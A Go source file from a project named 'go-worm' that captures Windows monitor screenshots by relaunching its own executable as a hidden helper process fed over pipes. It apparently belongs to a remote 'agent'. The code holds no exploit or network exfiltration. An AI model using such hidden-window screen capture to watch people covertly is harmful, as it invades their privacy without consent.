go-worm/lib/capture/client_windows.go

//go:build windows

package capture

import (
	"bufio"
	"errors"
	"fmt"
	"os"
	"os/exec"
	"strings"
	"sync"
	"time"

	"tea.chunkbyte.com/kato/go-worm/lib/config"
	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
	"tea.chunkbyte.com/kato/go-worm/lib/models"
)

type helper struct {
	cmd    *exec.Cmd
	stdin  *os.File
	stdout *os.File
	reader *bufio.Reader
	frames int
}

var (
	mu      sync.Mutex
	current *helper
)

// CaptureMonitor grabs a frame in a child process so GDI/BitBlt crashes
// cannot take down the agent. The helper is recycled every CaptureRecycleFrames.
func CaptureMonitor(index int, format string, quality int) (models.CapturedImage, error) {
	mu.Lock()
	defer mu.Unlock()
	img, err := current.grab(index, format, quality)
	if err == nil {
		return img, nil
	}
	err = mapCaptureErr(err)
	if errors.Is(err, ErrMonitorNotFound) {
		return models.CapturedImage{}, err
	}
	stopLocked()
	img, err = current.grab(index, format, quality)
	if err != nil {
		stopLocked()
		return models.CapturedImage{}, mapCaptureErr(err)
	}
	return img, nil
}

// Stop kills the capture helper. Safe to call if none is running.
func Stop() {
	mu.Lock()
	defer mu.Unlock()
	stopLocked()
}

func (h *helper) grab(index int, format string, quality int) (models.CapturedImage, error) {
	if h == nil || h.cmd == nil || h.cmd.Process == nil {
		var err error
		current, err = startLocked()
		if err != nil {
			return models.CapturedImage{}, err
		}
		h = current
	}
	if h.frames >= config.CaptureRecycleFrames {
		stopLocked()
		var err error
		current, err = startLocked()
		if err != nil {
			return models.CapturedImage{}, err
		}
		h = current
	}
	deadline := time.Now().Add(config.CaptureTimeout)
	_ = h.stdin.SetWriteDeadline(deadline)
	_ = h.stdout.SetReadDeadline(deadline)
	if err := writeRequest(h.stdin, index, format, quality); err != nil {
		return models.CapturedImage{}, err
	}
	img, err := readResponse(h.reader)
	if err != nil {
		return models.CapturedImage{}, err
	}
	h.frames++
	return img, nil
}

func startLocked() (*helper, error) {
	exe, err := os.Executable()
	if err != nil {
		return nil, err
	}
	inR, inW, err := os.Pipe()
	if err != nil {
		return nil, err
	}
	outR, outW, err := os.Pipe()
	if err != nil {
		_ = inR.Close()
		_ = inW.Close()
		return nil, err
	}
	cmd := exec.Command(exe, "-capture", "-skip-install")
	cmd.Stdin = inR
	cmd.Stdout = outW
	cmd.Stderr = os.Stderr
	cmd.SysProcAttr = helpers.HiddenSysProcAttr()
	if err := cmd.Start(); err != nil {
		_ = inR.Close()
		_ = inW.Close()
		_ = outR.Close()
		_ = outW.Close()
		return nil, fmt.Errorf("start capture helper: %w", err)
	}
	_ = inR.Close()
	_ = outW.Close()
	return &helper{
		cmd:    cmd,
		stdin:  inW,
		stdout: outR,
		reader: bufio.NewReader(outR),
	}, nil
}

func stopLocked() {
	h := current
	current = nil
	if h == nil {
		return
	}
	_ = h.stdin.Close()
	_ = h.stdout.Close()
	if h.cmd != nil && h.cmd.Process != nil {
		_ = h.cmd.Process.Kill()
		_ = h.cmd.Wait()
	}
}

func mapCaptureErr(err error) error {
	if err == nil {
		return nil
	}
	if strings.Contains(strings.ToLower(err.Error()), "monitor not found") {
		return ErrMonitorNotFound
	}
	return err
}